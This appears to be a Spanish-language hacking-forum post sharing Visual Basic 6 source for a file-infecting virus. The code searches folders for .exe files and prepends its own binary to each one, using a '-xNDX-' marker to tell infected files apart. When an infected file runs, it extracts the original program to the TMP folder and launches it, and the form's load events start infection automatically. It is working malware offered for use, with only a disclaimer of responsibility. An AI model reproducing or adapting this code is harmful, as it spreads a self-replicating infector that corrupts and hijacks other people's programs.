Código: Seleccionar todo

'-----------------------------ADVERTENCIA------------------------
'Este codigo a sido escrito por xNeoDarkx a excepcion de la funció Buscar archivos y EliminarNull
'que se ha conseguido y posteriormente modificado de www.recursosvisualbasic.com.ar
'El Autor no se hace responsable por daños hechos a computadoras ajenas
'Pues este codigo es extremadamente peligroso
'Creado para Indetectables.Net
'Atte: xNeoDarkx


'Declaración de las funciones Api para buscar archivos en el sistema
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'Constantes para la búsqueda que utiliza las funciones Api anteriores
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Dim Direc() As String
Dim Total As Integer

'Estructura que utiliza la estructura WIN32_FIND_DATA
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

'Estructura WIN32_FIND_DATA para info de archivos
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Public Enum EXT
EXE = 0
BAT = 1
COM = 2
End Enum


''''''''''''''''''''''''''''''''''''''''''''''''''''''

'Función que elimina los caracteres nulos en los path devueltos
Private Function EliminarNull(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
EliminarNull = OriginalStr
End Function

'Función que busca y lista los ficheros
Public Function Buscar(Path As String, Extension As EXT)
Dim FileName As String ' nombre de Archivos
Dim DirName As String ' Subdirectorios
Dim hSearch As Long ' Handle de busqueda
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
Dim TipoExt As String

Select Case Exten
    Case EXE
    TipoExt = "*.exe"
    Case BAT
    TipoExt = "*.bat"
    Case COM
    TipoExt = "*.com"
End Select

'si no tiene la barra separadora de path se la ponemos
If Right(Path, 1) <> "\" Then Path = Path & "\"
'Esta variable es para saber cuando buscamos _
con el Api si hay un archivo, si en el bucle ya _
no encuentra mas, la Api devuelve un 0
Cont = True
'Buscamos el primer archivo o directorio del Path
hSearch = FindFirstFile(Path & TipoExt, WFD)
'Si no hay nada el handle de busqueda vale -1
If hSearch <> INVALID_HANDLE_VALUE Then
'Mientras Cont valga 1 seguirá buscando ya que hay archivos o directorios
Do While Cont
DirName = EliminarNull(WFD.cFileName)
' ignoramos los "." y ".."
If (DirName <> ".") And (DirName <> "..") Then
' Si es un directorio
If GetFileAttributes(Path & DirName) = FILE_ATTRIBUTE_DIRECTORY Then
Total = Total + 1
Direc(Total) = DirName
ElseIf GetFileAttributes(Path & DirName) = FILE_ATTRIBUTE_ARCHIVE Then
If Path & DirName <> App.Path & "\" & App.EXEName & ".exe" Then
If Infected(Path & DirName) = False Then
Call Infectar(App.Path & "\" & App.EXEName & ".exe", Path & DirName)
'MsgBox "Infectado"
End If
End If
End If
End If
'Siguiente archivo o directorio
Cont = FindNextFile(hSearch, WFD) 'Get next subdirectory.
Loop
'Cerramos el handle de búsqueda
Cont = FindClose(hSearch)
End If

End Function


Private Function Infectar(Infecta As String, File As String)
Dim xXx As String
Dim Bn As String
Dim F
F = FreeFile

Open Infecta For Binary As #2
xXx = Space(LOF(2))
Get #2, , xXx
Close #2

Open File For Binary As #1
Bn = Space(LOF(1))
Get #1, , Bn
Close #1
Kill File

Open File For Binary As #8
Put #8, , xXx & "-xNDX-" & Bn
Close #8

End Function

Private Function Infected(File As String) As Boolean
Dim Infect As String
Open File For Binary As #3
    Infect = Space(LOF(3))
    Get #3, , Infect
Close #3
If InStr(Infect, "-xNDX-") Then
Infected = True
Else
Infected = False
End If
End Function

Public Function Inicio(Optional ByVal Form As Form)
On Error GoTo Err_Handle
Dim MyCode As String
Dim File() As String
Dim Yo As String
Yo = App.Path & "\" & App.EXEName & ".exe"
If Infected(Yo) = True Then
Open Yo For Binary As #1
    MyCode = Space(LOF(1))
'MyCode = Input(LOF(1), 1)
    Get #1, , MyCode
Close #1

File() = Split(MyCode, "-xNDX-")
Dim TmpFile As String
Dim TempFile As String

Randomize
TmpFile = Environ("TMP") & "\" & CInt((Rnd * 9999) + 1) & ".exe"

'Open Environ("Temp") & App.EXEName & ".exe" For Binary As #F
'Put #F, , File(1)
'Close #F
Open TmpFile For Binary As #5
    Put #5, , File(1)
Close #5
'Open Environ("Temp") & App.EXEName & "(2).exe" For Binary As #F
'Put #F, , File(0)
'Close #F

Call ShellExecute(Form.hwnd, "Open", TmpFile, "", "", 1)

End If
Err_Handle:
Exit Function
End Function

Código: Seleccionar todo

Private Sub Form_Initialize()
Call Inicio(Me)
End Sub

Private Sub Form_Load()
Call Buscar(App.Path, EXE)
End Sub

Código: Seleccionar todo

http://es.wikipedia.org/wiki/Indentación